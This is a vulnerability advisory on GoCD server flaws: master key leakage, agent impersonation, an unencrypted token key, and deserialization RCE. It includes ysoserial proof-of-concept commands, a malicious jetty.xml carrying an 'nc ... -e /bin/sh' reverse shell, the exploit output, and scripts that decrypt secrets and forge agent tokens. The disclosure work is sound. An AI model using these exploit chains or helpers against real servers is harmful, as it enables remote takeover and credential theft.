Multiple vulnerabilities were discovered within GoCD. These issues allowed for retrieval of the master secret key from a compromised agent, impersonation of arbitrary agents and remote code execution through deserialization. All vulnerabilities in this advisory are presented from the perspective of an attacker who has either compromised an existing GoCD agent (or its network traffic) or has access to view the GoCD configuration XML (either through the web ui or via a configuration backup).
Date Released: 12/01/2021
Author: Denis Andzakovic
Vendor Website: https://www.gocd.org/
Affected Software: GoCD Server < v20.11.0-12419
Background
Secret variables
GoCD supports secret variables, which are encrypted with AES. The master encryption key is stored within the cipher.aes
file, located in /godata/config/cipher.aes
in the gocd/gocd-server
docker image. This file is considered extremely sensitive. Knowledge of the files contents allows an attacker to decrypt any secret variable within the GoCD installation. These secret variables are generally stored within GoCD pipeline configuration and within source repositories used by GoCD. The decrypter script included at the end of this advisory can be used to decrypt GoCD secure variables.
GoCD Agents
Agents contact the GoCD server over HTTP (or HTTPS if configured) and poll for work. When a pipeline is run, the pipeline is scheduled to an available agent and the data transmitted on the next request for work from the scheduled agent.
GoCD agents contacted the GoCD server using Java serialized objects and Spring RemoteInvocation. When work was available, a serialized object was returned from the server containing the pipeline information and jobs to run.
An unauthenticated attacker may register a new agent, however this agent will receive no work until it is approved in the admin interface. If an attacker determines the automatic registration token, they may auto-provision an agent.
Details
Master Encryption Key Leakage
The GoCD Server unintentionally leaked the master encryption key for secure variables to every configured agent. An attacker who has compromised an agent, its network transport or can register a new agent (either with an auto-registration token or by convincing an existing user to approve a new agent in the web ui) can leverage this behavior to obtain the master encryption key.
When a job is available for a GoCD agent, the object returned from the GoCD server includes a com.thoughtworks.go.security.GoCipher
object which exposes the cipher.aes
master key. An attacker with access to any agent, or network traffic where HTTPS is not configured between the agent and the server, may retrieve this master key and decrypt any GoCD secret variable.
The following figure shows a request for work, sent from a GoCD agent to a GoCD server:
POST /go/remoting/remoteBuildRepository HTTP/1.1
Host: 172.17.0.1:8153
User-Agent: Apache-HttpClient/4.5.6 (Java/15.0.1)
Content-Length: 1271
Accept-Encoding: gzip,deflate
Authorization: AA/yJekGeSBNDY8zraj1rESs9PYu/xBfH8m2JtTRILQ=
Content-Type: application/x-java-serialized-object
Cookie: JSESSIONID=node01ew5k4ka76nim17km1w6ajnfge71.node0
Proxy-Connection: Keep-Alive
X-Agent-Guid: 90505c1c-5e8c-4516-ab81-bcb1d6b37277
��sr5org.springframework.remoting.support.RemoteInvocation_l���
[ argumentst[Ljava/lang/Object;L
...SNIP...
172.17.0.3t$90505c1c-5e8c-4516-ab81-bcb1d6b37277t/got
debian 9.13 ~r-com.thoughtworks.go.domain.AgentRuntimeStatusxrjava.lang.EnumxptIdlesrjava.lang.Long;��̏#�Jvaluexrjava.lang.Number���
���xp���ptgetWorkur[Ljava.lang.Class;���Z�xpvq
When work is available, the server responds with a Java serialized object that contains a com.thoughtworks.go.security.GoCipher
sub-object. The follow response shows the issue:
HTTP/1.1 200 OK
Content-Length: 7341
Content-Type: application/x-java-serialized-object
Date: Fri, 04 Dec 2020 03:00:30 GMT
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=node01up0azd0t8b1lapz7gixn0ekw72.node0; Path=/go; Expires=Fri, 18-Dec-2020 03:00:30 GMT; Max-Age=1209600; HttpOnly
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Ua-Compatible: chrome=1
X-Xss-Protection: 1; mode=block
...SNIP...
GitMaterialturlt https://github.com/xyproto/xeyestbranchq~uxq~�pppsr%com.thoughtworks.go.security.GoCipher���ȝxL
aesEncryptert(Lcom/thoughtworks/go/security/Encrypter;xpsr)com.thoughtworks.go.security.AESEncrypter�����N�nLcipherProvidert0Lcom/thoughtworks/go/security/AESCipherProvider;xpsr.com.thoughtworks.go.security.AESCipherProvider[�$}�{?L
cipherFileq~
[keyt[Bxpsq~tconfig/cipher.aesw/xur[B��T�xp��"T�u����؉YI�sq~Fwxpq~upsr,com.thoughtworks.go.util.command.UrlArgument�G�p�Lurlq~xr0com.thoughtworks.go.util.command.CommandArgument,�Z;Bc��xpq~�sr2com.thoughtworks.go.domain.materials.Modifications�ɹ��vxq~wsr1com.thoughtworks.go.domain.materials.ModificationT��
...SNIP...
The response object was processed with SerializationDumper and the cipher.aes
key retrieved, as shown below:
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 59 - 0x00 3b
Value - org.springframework.remoting.support.RemoteInvocationResult - 0x6f72672e737072696e676672616d65776f726b2e72656d6f74696e672e737570706f72742e52656d6f7465496e766f636174696f6e526573756c74
serialVersionUID - 0x1d ad ac 92 99 49 4a 6d
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Object - L - 0x4c
fieldName
Length - 9 - 0x00 09
Value - exception - 0x657863657074696f6e
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 21 - 0x00 15
Value - Ljava/lang/Throwable; - 0x4c6a6176612f6c616e672f5468726f7761626c653b
...SNIP...
classdata
com.thoughtworks.go.security.GoCipher
values
aesEncrypter
(object)
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 41 - 0x00 29
Value - com.thoughtworks.go.security.AESEncrypter - 0x636f6d2e74686f75
676874776f726b732e676f2e73656375726974792e414553456e63727970746572
serialVersionUID - 0x8c 91 ee d2 c1 4e df 6e
...SNIP...
key
(array)
TC_ARRAY - 0x75
TC_CLASSDESC - 0x72
className
Length - 2 - 0x00 02
Value - [B - 0x5b42
serialVersionUID - 0xac f3 17 f8 06 08 54 e0
newHandle 0x00 7e 00 ad
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 ae
Array size - 16 - 0x00 00 00 10
Values
Index 0:
(byte)-14 - 0xf2
Index 1:
(byte)-24 - 0xe8
Index 2:
(byte)34 (ASCII: ") - 0x22
Index 3:
(byte)84 (ASCII: T) - 0x54
Index 4:
(byte)-93 - 0xa3
Index 5:
(byte)117 (ASCII: u) - 0x75
Index 6:
(byte)-100 - 0x9c
Index 7:
(byte)-9 - 0xf7
Index 8:
(byte)-47 - 0xd1
Index 9:
(byte)-57 - 0xc7
Index 10:
(byte)-40 - 0xd8
Index 11:
(byte)-119 - 0x89
Index 12:
(byte)89 (ASCII: Y) - 0x59
Index 13:
(byte)73 (ASCII: I) - 0x49
Index 14:
(byte)-116 - 0x8c
Index 15:
(byte)27 - 0x1b
The key
array above corresponds the the cipher.aes
key, as shown below. In this case, the key was 0xf2 0xe8 0x22 0x54 0xa3 0x75 0x9c 0xf7 0xd1 0xc7 0xd8 0x89 0x59 0x49 0x8c 0x1b
/var/lib/docker/overlay2/3e0ae50da594f8f178e66c4ece50d26854b2913c96ddc7c7ab643b4007b0709d/merged/godata/config# cat cipher.aes ; echo
f2e82254a3759cf7d1c7d88959498c1b
This information was exposed to agents due to the goCipher
object included under the com.thoughtworks.go.config.materials.ScmMaterial
class instance sent to the agent:
common/src/main/java/com/thoughtworks/go/remote/work/BuildWork.java
42 /**
43 * @understands a source control repository and its configuration
44 */
45 public abstract class ScmMaterial extends AbstractMaterial implements SecretParamAware {
46
47 public static final String GO_REVISION = "GO_REVISION";
48 public static final String GO_TO_REVISION = "GO_TO_REVISION";
49 public static final String GO_FROM_REVISION = "GO_FROM_REVISION";
50 public static final String GO_MATERIAL_URL = "GO_MATERIAL_URL";
51 protected final GoCipher goCipher;
Secure variables used by the GoCD agents are decrypted server side and shipped to the agents in clear-text, thus there is no practical reason to expose the com.thoughtworks.go.security.GoCipher
object to the agents:
com.thoughtworks.go.util.command.EnvironmentVariableContext$EnvironmentVariable
values
secure
(boolean)true - 0x01
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 7b
Length - 9 - 0x00 09
Value - securevar - 0x736563757265766172
secretParams
(object)
TC_OBJECT - 0x73
TC_REFERENCE - 0x71
Handle - 8257606 - 0x00 7e 00 46
newHandle 0x00 7e 00 7c
classdata
java.util.ArrayList
values
size
(int)0 - 0x00 00 00 00
objectAnnotation
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x00000000
TC_ENDBLOCKDATA - 0x78
com.thoughtworks.go.config.SecretParams
values
value
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 7d
Length - 27 - 0x00 1b
Value - YouShouldNotSeeThisSoSecure - 0x596f7553686f756c644e6f7453656554686973536f536563757265
TC_ENDBLOCKDATA - 0x78
Agent Insecure Access Control
Agents were authenticated via an HMAC calculated using the agent’s GUID and the tokenGenerationKey
configuration variable. No access controls were applied to ensure that the agent token is valid for the agent uuid
supplied in the /go/remoting/remoteBuildRepository
request calling the getWork
method via Spring’s RemoteInvocation. This allowed an attacker who has compromised a legitimate agent to request jobs for any other agent deployed within the GoCD environment. The following figure shows the authentication logic for the agent requests:
server/src/main/java/com/thoughtworks/go/server/newsecurity/filters/AgentAuthenticationFilter.java
68 private void tokenBasedFilter(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws IOException, ServletException {
69 String uuid = request.getHeader("X-Agent-GUID");
70 String token = request.getHeader("Authorization");
...SNIP...
84 AuthenticationToken<?> authenticationToken = SessionUtils.getAuthenticationToken(request);
85 AgentToken agentToken = new AgentToken(uuid, token);
86
87 if (isAuthenticated(agentToken, authenticationToken)) {
88 LOGGER.debug("Agent is already authenticated");
89 } else {
90 if (!hmacOf(uuid).equals(token)) {
91 LOGGER.debug("Denying access, agent with uuid '{}' submitted bad token.", uuid);
92 response.setStatus(403);
93 return;
94 }
95
96 GoUserPrinciple agentUser = new GoUserPrinciple("_go_agent_" + uuid, "", GoAuthority.ROLE_AGENT.asAuthority());
97 AuthenticationToken<AgentToken> authentication = new AuthenticationToken<>(agentUser, agentToken, null, clock.currentTimeMillis(), null);
98
99 LOGGER.debug("Adding agent user to current session and proceeding.");
100 SessionUtils.setAuthenticationTokenAfterRecreatingSession(authentication, request);
101 }
102
103 filterChain.doFilter(request, response);
104 }
105
106 /*Fixes:#8427 HMAC generation is not thread safe, if multiple agents try to authenticate at the same time the hmac
107 generated using the Agent UUID would not match the actual token.*/
108 synchronized String hmacOf(String string) {
109 return encodeBase64String(hmac().doFinal(string.getBytes()));
110 }
...SNIP...
118 private Mac hmac() {
119 if (mac == null) {
120 try {
121 mac = Mac.getInstance("HmacSHA256");
122 SecretKeySpec secretKey = new SecretKeySpec(goConfigService.serverConfig().getTokenGenerationKey().getBytes(), "HmacSHA256");
123 mac.init(secretKey);
124 } catch (NoSuchAlgorithmException | InvalidKeyException e) {
125 throw new RuntimeException(e);
126 }
127 }
128 return mac;
129 }
The uuid
used to calculate the token was taken from the X-Agent-Guid
header, however GoCD later used the uuid
parameter passed in the Java serialized object to determine the agent uuid
. As a result, an attacker could supply any agent uuid
in the serialized object and obtain work intended for other agents. This could include sensitive information, such as credentials. Pulse Security leveraged this vulnerability in a recent engagement to gain access to sensitive production data after obtaining initial access as an unrelated agent.
server/src/main/java/com/thoughtworks/go/server/messaging/BuildRepositoryMessageProducer.java
47 @Override
48 public Work getWork(AgentRuntimeInfo runtimeInfo) {
49 long startTime = System.currentTimeMillis();
50
51 Work work = workAssignments.getWork(runtimeInfo);
52
53 workAssignmentPerformanceLogger.retrievedWorkForAgent(runtimeInfo, work, startTime, System.currentTimeMillis());
54 return work;
55 }
server/src/main/java/com/thoughtworks/go/server/messaging/scheduling/WorkAssignments.java
44 public Work getWork(AgentRuntimeInfo runtimeInfo) {
45 AgentIdentifier agent = runtimeInfo.getIdentifier();
46 synchronized (agentMutex(agent)) {
47 Work work = assignments.get(agent);
48 if (work == null) {
49 assignments.put(agent, NO_WORK);
50 idleAgentsTopic.post(new IdleAgentMessage(runtimeInfo));
51 return NO_WORK;
52 }
53
54 if (work instanceof NoWork) {
55 return work;
56 }
57
58 return assignments.remove(agent);
59 }
60 }
Missing Encryption for Agent Access Token Secret
GoCD does not use its secret encryption routines to defend the agent token generation key. This information is available in the configuration file and exposed via the web interface. The following snippet shows the relevant section from the cruise-config.xml
file:
<?xml version="1.0" encoding="utf-8"?>
<cruise xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="cruise-config.xsd" schemaVersion="138">
<server agentAutoRegisterKey="d3abbd45-f476-400c-8713-433a1802e9f9" webhookSecret="b20ad408-5145-435a-9f91-e755a8a87e0f" commandRepositoryLocation="default" serverId="2d69a708-7d47-475f-8e3a-97c35f137511" tokenGenerationKey="47169363-6451-4273-827f-bf3ae05c9c49">
<backup emailOnSuccess="true" emailOnFailure="true" />
<artifacts>
<artifactsDir>artifacts</artifactsDir>
</artifacts>
This information is also exposed via the admin interface:
Thoughtworks have opted to leave this functionality as-is, and as such this vulnerability is still present in the current versions of GoCD.
Arbitrary Deserialization - Remote Code Execution
The Spring RemoteInvocation endpoint exposed for agent communication allowed deserialization of arbitrary java objects, and subsequent remote code execution. Exploitation required agent-level authentication, thus an attacker would need to either compromise an existing agent, its network communication or register a new agent to practically exploit this vulnerability.
The following figure shows a proof-of-concept exploit using ysoserial to generate a payload which, when deserialized, causes an arbitrary DNS request.
~/tools/ysoserial$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://testdomain.pulsesecurity.co.nz > urldns.raw
~/tools/ysoserial$ curl -v 172.17.0.1:8153/go/remoting/remoteBuildRepository -H 'Authorization: AA/yJekGeSBNDY8zraj1rESs9PYu/xBfH8m2JtTRILQ=' -H 'X-Agent-Guid: 90505c1c-5e8c-4516-ab81-bcb1d6b37277' -H 'Content-Type: application/x-java-serialized-object' -X POST --data-binary @urldns.raw --output -
Note: Unnecessary use of -X or --request, POST is already inferred.
* Expire in 0 ms for 6 (transfer 0x564cc2938f50)
* Trying 172.17.0.1...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x564cc2938f50)
* Connected to 172.17.0.1 (172.17.0.1) port 8153 (#0)
> POST /go/remoting/remoteBuildRepository HTTP/1.1
> Host: 172.17.0.1:8153
> User-Agent: curl/7.64.0
> Accept: */*
> Authorization: AA/yJekGeSBNDY8zraj1rESs9PYu/xBfH8m2JtTRILQ=
> X-Agent-Guid: 90505c1c-5e8c-4516-ab81-bcb1d6b37277
> Content-Type: application/x-java-serialized-object
> Content-Length: 311
>
* upload completely sent off: 311 out of 311 bytes
< HTTP/1.1 500 Server Error
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-UA-Compatible: chrome=1
< Set-Cookie: JSESSIONID=node0uemnq3xqronu1kfla5zqe5fv13.node0; Path=/go; Expires=Sun, 20-Dec-2020 12:00:56 GMT; Max-Age=1209600; HttpOnly
< Cache-Control: must-revalidate,no-cache,no-store
< Content-Type: text/html;charset=iso-8859-1
< Content-Length: 1074
< Connection: close
...SNIP...
A running packet capture confirmed the resulting DNS request, indicating successful deserialization:
$ sudo tcpdump -X -n -i docker0 'port 53'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), capture size 262144 bytes
01:00:56.398839 IP 172.17.0.2.41287 > 192.168.122.1.53: 22794+ A? testdomain.pulsesecurity.co.nz. (48)
0x0000: 4500 004c b9e3 4000 4011 9a00 ac11 0002 E..L..@.@.......
0x0010: c0a8 7a01 a147 0035 0038 e706 590a 0100 ..z..G.5.8..Y...
0x0020: 0001 0000 0000 0000 0a74 6573 7464 6f6d .........testdom
0x0030: 6169 6e0d 7075 6c73 6573 6563 7572 6974 ain.pulsesecurit
0x0040: 7902 636f 026e 7a00 0001 0001 y.co.nz.....
01:00:59.187087 IP 192.168.122.1.53 > 172.17.0.2.41287: 22794 NXDomain 0/0/0 (48)
0x0000: 4500 004c c01f 4000 3f11 94c4 c0a8 7a01 E..L..@.?.....z.
0x0010: ac11 0002 0035 a147 0038 99fc 590a 8183 .....5.G.8..Y...
0x0020: 0001 0000 0000 0000 0a74 6573 7464 6f6d .........testdom
0x0030: 6169 6e0d 7075 6c73 6573 6563 7572 6974 ain.pulsesecurit
0x0040: 7902 636f 026e 7a00 0001 0001 y.co.nz.....
Existing ysoserial
gadgets were not applicable to GoCD, so I’ve put together two additional gadgets to exploit this vulnerability. These gadget leverage Aspect4J
to upload an arbitrary file and then force a server restart by reading from /dev/random
. The gadgets can be found here.
The following exploit works by uploading a malicious jetty.xml
file and forcing a server restart. The original jetty.xml
can be found here.
First, the jetty.xml
file is modified with a malicious <call>
:
:~$ cat jetty.xml
<?xml version="1.0"?>
<!--
...SNIP...
</Get>
<Call class="java.lang.Runtime" name="getRuntime">
<Call name="exec">
<Arg>nc 172.17.0.1 8000 -e /bin/sh</Arg>
</Call>
</Call>
</Configure>
This file is then used with the Aspect4J
upload gadget:
~/tools/ysoserial-custom$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar AspectJWeaverFileUpload1 '/home/doi/jetty.xml;/godata/config/jetty.xml' |
curl -v 172.17.0.1:8153/go/remoting/remoteBuildRepository \
-H 'Authorization: AA/yJekGeSBNDY8zraj1rESs9PYu/xBfH8m2JtTRILQ=' \
-H 'X-Agent-Guid: 90505c1c-5e8c-4516-ab81-bcb1d6b37277' \
-H 'Content-Type: application/x-java-serialized-object' \
--data-binary @- --output -
* Expire in 0 ms for 6 (transfer 0x557bc32e5f90)
* Trying 172.17.0.1...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x557bc32e5f90)
* Connected to 172.17.0.1 (172.17.0.1) port 8153 (#0)
> POST /go/remoting/remoteBuildRepository HTTP/1.1
> Host: 172.17.0.1:8153
> User-Agent: curl/7.64.0
> Accept: */*
> Authorization: AA/yJekGeSBNDY8zraj1rESs9PYu/xBfH8m2JtTRILQ=
> X-Agent-Guid: 90505c1c-5e8c-4516-ab81-bcb1d6b37277
> Content-Type: application/x-java-serialized-object
> Content-Length: 5123
> Expect: 100-continue
>
* Expire in 1000 ms for 0 (transfer 0x557bc32e5f90)
< HTTP/1.1 100 Continue
* We are completely uploaded and fine
< HTTP/1.1 500 Server Error
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-UA-Compatible: chrome=1
< Set-Cookie: JSESSIONID=node01wukwbugv3ehsq0kv8eh729q715.node0; Path=/go; Expires=Mon, 25-Jan-2021 05:58:39 GMT; Max-Age=1209600; HttpOnly
< Cache-Control: must-revalidate,no-cache,no-store
< Content-Type: text/html;charset=iso-8859-1
< Content-Length: 1074
< Connection: close
<
...SNIP...
A listener is started and the GoCD server forced to crash by reading /dev/random
. The wrapper restarts the process on crash:
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar AspectJWeaverFileRead1 '/dev/random' |
curl -v 172.17.0.1:8153/go/remoting/remoteBuildRepository \
-H 'Authorization: AA/yJekGeSBNDY8zraj1rESs9PYu/xBfH8m2JtTRILQ=' \
-H 'X-Agent-Guid: 90505c1c-5e8c-4516-ab81-bcb1d6b37277' \
-H 'Content-Type: application/x-java-serialized-object' \
--data-binary @- --output -
:~$ nc -vv -k -l -p 8000
listening on [any] 8000 ...
172.17.0.2: inverse host lookup failed: Unknown host
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 41897
id
uid=1000(go) gid=0(root) groups=0(root)
pwd
/go-working-dir
ls -la
total 112552
drwxrwxr-x 1 go root 4096 Jan 11 06:00 .
drwxr-xr-x 1 root root 4096 Dec 4 00:11 ..
lrwxrwxrwx 1 go root 14 Dec 4 00:11 addons -> /godata/addons
lrwxrwxrwx 1 go root 17 Dec 4 00:11 artifacts -> /godata/artifacts
lrwxrwxrwx 1 go root 14 Dec 4 00:11 bin -> /go-server/bin
lrwxrwxrwx 1 go root 14 Dec 4 00:11 config -> /godata/config
-rw-r--r-- 1 go root 114707011 Jan 11 06:00 cruise.war
drwxr-xr-x 3 go root 4096 Dec 4 02:56 data
lrwxrwxrwx 1 go root 10 Dec 4 00:11 db -> /godata/db
drwxr-xr-x 9 go root 4096 Jan 11 05:29 felix-cache
lrwxrwxrwx 1 go root 14 Dec 4 00:11 lib -> /go-server/lib
lrwxrwxrwx 1 go root 12 Dec 4 00:11 logs -> /godata/logs
drwxr-xr-x 3 go root 4096 Dec 4 02:56 pipelines
lrwxrwxrwx 1 go root 15 Dec 4 00:11 plugins -> /godata/plugins
drwxr-xr-x 8 go root 4096 Jan 11 05:29 plugins_work
lrwxrwxrwx 1 go root 14 Dec 4 00:11 run -> /go-server/run
drwxr-xr-x 3 go root 4096 Jan 11 06:00 work
lrwxrwxrwx 1 go root 18 Dec 4 00:11 wrapper -> /go-server/wrapper
lrwxrwxrwx 1 go root 25 Dec 4 00:11 wrapper-config -> /go-server/wrapper-config
-rw-r--r-- 1 go root 511367 Jan 11 06:00 wrapper.log
And, ofcourse, the obligatory exploit gif:
This vulnerability has been addressed by using JSON for agent communication instead and disabling Spring RemoteInvocation by default. Note, this can still be enabled which would re-introduce this vulnerability as detailed here.
Helper Scripts
GoCD Secret Decryption
The following Golang script can be used to decrypt GoCD secret variables after obtaining the cipher.aes
master key.
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/hex"
"fmt"
"os"
"strings"
)
func main() {
keyString := os.Args[1]
encrypted := os.Args[2]
fmt.Println(keyString)
key, err := hex.DecodeString(keyString)
if err != nil {
fmt.Println(err)
return
}
s := strings.Split(encrypted, ":")
if len(s) != 3 {
fmt.Println("Insufficient parameters for secret variable. Should be aes:<base64 iv>:<base64 ciphertext>")
return
}
header := s[0]
if header != "AES" {
fmt.Println("Secret variable should start with 'AES:'. Old GOCD secret maybe?")
}
fmt.Printf("%s %s %s\n", s[0], s[1], s[2])
iv, err := base64.StdEncoding.DecodeString(s[1])
if err != nil {
fmt.Printf("Error decoding IV: %s \n", err)
return
}
ciphertext, err := base64.StdEncoding.DecodeString(s[2])
if err != nil {
fmt.Printf("Error decoding Ciphertext: %s \n", err)
return
}
out := decrypt(key, iv, ciphertext)
fmt.Println(out)
}
func decrypt(key []byte, iv []byte, ciphertext []byte) string {
fmt.Println("decrypting...")
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
if len(ciphertext) < aes.BlockSize {
panic("ciphertext too short")
}
s := cipher.NewCBCDecrypter(block, iv)
s.CryptBlocks(ciphertext, ciphertext)
return fmt.Sprintf("%s", ciphertext)
}
GoCD Agent Key Generation
The following Java helper can be used to generate agent secrets after retrieving the cruise-config.xml
and an agent identifier.
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.Base64;
public class main {
public static void main(String[] args) {
System.out.println(token(args[0],args[1]));
}
private static String token(String uuid, String tokenGenerationKey) {
try {
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec secretKey = new SecretKeySpec(tokenGenerationKey.getBytes(), "HmacSHA256");
mac.init(secretKey);
return Base64.getEncoder().encodeToString(mac.doFinal(uuid.getBytes()));
} catch (NoSuchAlgorithmException | InvalidKeyException e) {
throw new RuntimeException(e);
}
}
}
Timeline
07/12/2020 - Advisory sent to Thoughtworks.
10/12/2020 - Fixes for the master key leakage merged.
23/12/2020 - Fixes for the remainder of the issues identified.
11/01/2021 - Fixes confirmed.
12/01/2021 - Advisory released.
References
- GoCD: Authorize agents remoting by UUID
- GoCD: Disable RMI endpoint by default but allow toggling
- GoCD: Prevent gson serialization from serializing cipher-related instances
- GoCD: SCMMaterial Changes
- Vulnerability in GoCD - Java deserialization and Apache commons-collections
- ysoserial
- Serialization dumper
- Aspect4J file read and write deserialization gadgets